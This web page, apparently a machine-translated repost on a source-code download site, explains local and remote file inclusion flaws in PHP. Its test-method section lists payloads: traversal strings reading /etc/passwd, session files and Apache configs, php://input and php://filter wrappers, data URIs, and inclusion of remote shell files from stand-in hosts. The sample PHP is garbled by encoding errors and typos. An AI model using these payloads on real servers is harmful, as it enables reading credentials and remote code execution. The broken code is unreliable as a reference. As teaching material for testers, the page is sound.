The source code is for testing only and should not be used commercially. The source code comes from the Internet. If there is any infringement, please contact me to remove it.

1. Attack scenario

  • File inclusion attack
  • described

    File inclusion vulnerability is a type of "code injection". Because the programmer does not perform input checks on variables controlled by the user, the user can control the included file and inject a script or code that the user can control. When successfully utilized, the web server treats the file uploaded by the user as PHP and executes it, which allows the user to obtain certain server permissions. File inclusion vulnerability may lead to server-side code execution, client-side code execution, Issues such as leakage of sensitive information.

    File inclusion vulnerabilities include "local file inclusion" and "remote file inclusion". The local file inclusion vulnerability occurs when a page accepts a URL parameter as input without correct verification, which can lead to directory traversal string injection or access to other pages. The remote file inclusion vulnerability occurs when the page accepts a URL parameter as input, and this input is not correctly verified, resulting in external URLs being used as input parameters, resulting in external URLs and files on other servers being accessible through the server (such as hacker server attack code).

    Although most file inclusion problems occur in PHP scripts, we also need to note that other languages such as JSP and ASP can also have file inclusion vulnerabilities.

    To successfully exploit the file inclusion vulnerability, the following two conditions need to be met:

    1. Web applications use file inclusion functions such as include () to introduce the files that need to be included through dynamic variables

    2. Users can control more dynamic variables

  • test method

    The original intention of the program is that when submitting the url to example.com/index.php? When func= add.php, add . Style content and functions in php. Direct access to http://example.com/index.php will include the default default . php 。Among them, index . The php code is:

    <? php

    if ($_ GET [‘ func ‘]){

    include .$_ GET [‘ func ‘];

    else {

    include 'default . php':

    }

    ?& gt;

    When introducing a file through PHP's include function, because the passed file name func has not been reasonably verified, unexpected files can be manipulated, which may lead to unexpected file leaks or even malicious code injection.

    If we submit example.com/index.php? func=upload/pic/evil.jpg, and evil . jpg is an image uploaded by a hacker to the server. Malicious php code is added to the end of the image, so the malicious code will be introduced into the current file and executed. If there is no valid php code in the included file, the file content will be output directly.

    Files that can be included

  • Ordinary local files include

    <? php include (” inc /".$_ GET[‘ file ‘]);?& gt;

    When testing, you can try to include the following:

  • Contains files in the same directory, for example: file =. htaccess

  • Directory traversal, for example: file=../../../.././ var/lib/locate.db

  • Package error log, for example:file =../../../../../../../ var/log/apache/ error.loge

  • Get a web directory or other configuration file, such as: fille =../../../../../../../ usr/local/apache2/conf/httpd.conf

  • Contains uploaded attachments, for example: file =../ attachment/ media/xxx.file

  • Read the session file, for example: file=../../../../../../../ tmp/ sess _tnrdo9ub2tsdurntvOpdir1no7

  • Read system files, for example: file =../../../.././ etc/passwd

  • If you have phpinfo, you can include temporary files

  • Restricted local files include

  • <? php include (” inc /”_$_ GET[‘file’].&# 8221; htm “);?& gt;

    When testing, you can try to include the following:

  • truncation, for example: ? file= ../../../../../../../ etc/passwd

  • Truncate directory traversal, for example: file=../../../../../../../../../../../ var /www/

  • Path length truncation, for example: file =../../../../../../../../.././ etc/ passwd /././././. […]/././././.

  • The dot is truncated, for example: ? file =../../../../../../ boot.ini/……….. [….]&# 8230;….

  • Ordinary remote files include

    <? php include ($_ GET [‘ file ‘]);?& gt;

    When testing, you can try to include the following:

  • Remote code execution: ? file =[ httpIhttpsIftp ]://example . com/shell.txt

  • Use php stream input :? file = php:// input

  • Use php stream filter :? file=php://filter/convert .base64-encode/resource=index.php

  • Use data URIs :? file=data://text/plain ;base64,SSBsb3ZIIFBIUAo=+

  • Use XSS to execute arbitrary code: ? file =http://127.0.0.1/path/xss.php? xss=phpcode

  • Restricted remote files include

  • <? php include ( $ _ GET [‘ file’]. ".htm “):?& gt;

    When testing, you can try to include the following:

  • ? file=http://example.com/shell

  • ? file=http://example.com/shell.txt?

  • ? file=http://example.com/shell.txt

  • ? file=\evilshare\shell.php

2. Impact

File contains vulnerabilities that can read the source code of sensitive files or server-side scripts. Remote file contains vulnerabilities that can be directly used to execute arbitrary commands (because attackers can customize the content of included files), thus laying the foundation for attackers to carry out further attacks.

read more
Resource download
PriceFree
The use is limited to testing, experiments, and research purposes. It is prohibited for all commercial operations. This team is not responsible for any illegal behavior of users during use. Please self-test all source codes! There is no guarantee of the integrity and validity of your source code. All source code is collected from the entire network
Original link:https://bcbccb.cn/en/12003.html, please indicate the source for reprinting. Disclaimer: This resource has not been authorized by the original rights holder and is not commercially available. It can only be used to learn and analyze the underlying code, CSS, etc., and is prohibited for commercial purposes. Any relevant disputes and legal liabilities arising from unauthorized commercial use shall be fully borne by the user. Everyone is responsible to support genuine copies. Please delete them within 24 hours after downloading. Thank you for your support!
1

Comments0

Cocos系列情怀源码多套精美UI界面皮肤切换全国600子游戏(带控制)
Cocos series emotions source code, multiple sets of exquisite UI interfaces, skin switching across 600 sub-games across the country (with control)
Someone just purchased Go and have a look

Site Announcements

The source code (theme/plug-in/application source code) and other resources provided by this site are only for learning and exchange

Commercial use is prohibited, otherwise all consequences will be borne by the downloading user!

Some resources are collected or copied online. If they infringe on your legitimate rights and interests, please write to us.

Currently, members have a big reward, and the current price for a lifetime member is 299 gold coins.Recent price adjustments

Join quickly, opportunities wait for no one! immediately participated in

Captcha

Fast login to social accounts

en_USEnglish